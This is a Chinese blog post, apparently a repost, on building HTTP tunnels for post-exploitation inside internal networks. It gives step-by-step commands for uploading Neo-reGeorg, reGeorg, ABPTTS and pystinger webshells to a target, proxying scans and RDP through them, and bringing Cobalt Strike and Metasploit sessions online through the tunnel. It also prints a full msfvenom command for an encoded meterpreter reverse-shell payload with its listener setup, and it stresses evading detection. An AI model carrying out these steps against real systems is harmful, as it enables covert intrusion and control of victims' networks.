abptts——获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。 根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。

内网渗透之http隧道

CSeroad
12020.08.07 17:04:38字数 931阅读 2,495

前言

最近在整理内网渗透的一些相关资料,隧道的搭建是后渗透阶段重要的一环。随着防守的手段不断升级,某些情况下只能搭建http隧道。

http隧道

简介
通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。

适用环境

获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。
根据代理的稳定性、速度推荐Neo-reGeorg、reGeorg、abptts 三款工具。

Neo-reGeorg

简介

可以称为reGeorg的升级版,且传输内容经过了base64编码,避免特征检查,有效绕过检测。

下载

https://github.com/L-codes/Neo-reGeorg

使用

1.设置密码,生成tunnel的webshell,并上传到目标服务器。

python neoreg.py generate -k cseroad
 
image.png
  1. 使用neoreg.py连接webshell,并在本地建立socks代理
    注意:这里使用tunnel.nosocket.php,无socket的脚本
python neoreg.py -k cseroad -u http://xx/tunnel.nosocket.php
 
image.png

windows上可以使用SocksCap64 或者proxifier工具配置代理。
以windows上的SocksCap64 为例,添加代理。

 
image.png

测试连接成功。

 
image.png

注意有个测试代理地址。

 
image.png

点击可测试。

 
image.png

linux上可以使用proxychains代理
编辑

vim /etc/proxychains.conf

添加代理IP以及端口即可。

 
image.png

kali本地工具就可以通过proxychains命令全部代理进内网。
注意代理不支持icmp协议。proxychains nmap -Pn -sT -sV -v -T4 IP

reGeorg

简介

reGeorg 是 reDuh 的升级版。主要把内网服务器的端口通过http或https隧道转发到本机。

下载

https://github.com/sensepost/reGeorg

使用

1.上传tunnel.nosocket.php到目标服务器。

 
image.png

2.连接tunnel.nosocket.php,配置代理。

python reGeorgSocksProxy.py  -u http://xxx/tunnel/tunnel.nosocket.php -p 9999

在SocksCap64 添加代理。

 
image.png

测试连接成功。

 
image.png

abptts

简介

abptts是一款基于ssl加密的http隧道工具。全程通信数据加密有效对抗检测。

下载

https://github.com/nccgroup/ABPTTS

使用

1.安装python依赖库

pip install pycrypto
pip install httplib2

2.本地运行,生成webshell
注意:该工具不支持php

python abpttsfactory.py -o webshell
 
image.png
 
image.png

将生成的代理脚本选择性上传到目标服务器。
返回hash值,说明代理正常执行。

 
image.png

建立隧道,将目标服务器的3389和本地的3389进行绑定。

python abpttsclient.py -c webshell/config.txt -u "http://xxxxx/abptts.aspx" -f 127.0.0.1:33389/127.0.0.1:3389
 
image.png

远程连接本地的33389端口

 
image.png

另外:
冰蝎本身也有socks代理。
Tunna 也可以在内网代理中转发端口。

pystinger

简介

pystinger是通过webshell来实现内网的SOCK4代理。
使用python开发,当前支持php,jsp(x),aspx三种代理脚本。可直接用于metasploit,cobalt strike上线。

下载

https://github.com/FunnyWolf/pystinger

使用

1.上传proxy.jsp到目标服务器,确保可以正常访问。

 
image.png

2.上传stinger_server.exe 到目标服务器,并start命令运行该程序

start  stinger_server.exe

vps 运行client端

./stinger_client -w http://example.com:8080/proxy.jsp -l 0.0.0.0 -p 60000
 
image.png

将会在vps的6000端口启用socks4a代理

在SocksCap64 添加代理,测试一下。

 
image.png

上线cobaltstrike

配置60020端口的listener。

 
image.png

选择payload 生成artifact.exe,触发后即可上线。

 
image.png
 
image.png

vps可看到socks连接。

 
image.png

上线metasploit

msfvenom生成60020端口的payload.exe

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=60020 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe

metasploit 配置对应的监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1  
set lport 60020
set exitonsession false 
exploit -j -z

将payload.exe在目标机上触发后,即可上线。

 
image.png

参考资料

https://micro8.github.io/Micro8-HTML/Content/91-100.html
https://klionsec.github.io/2016/09/15/abptts-http-tunnel/

posted @ 2021-01-25 10:35  bonelee  阅读(1165)  评论(0编辑  收藏  举报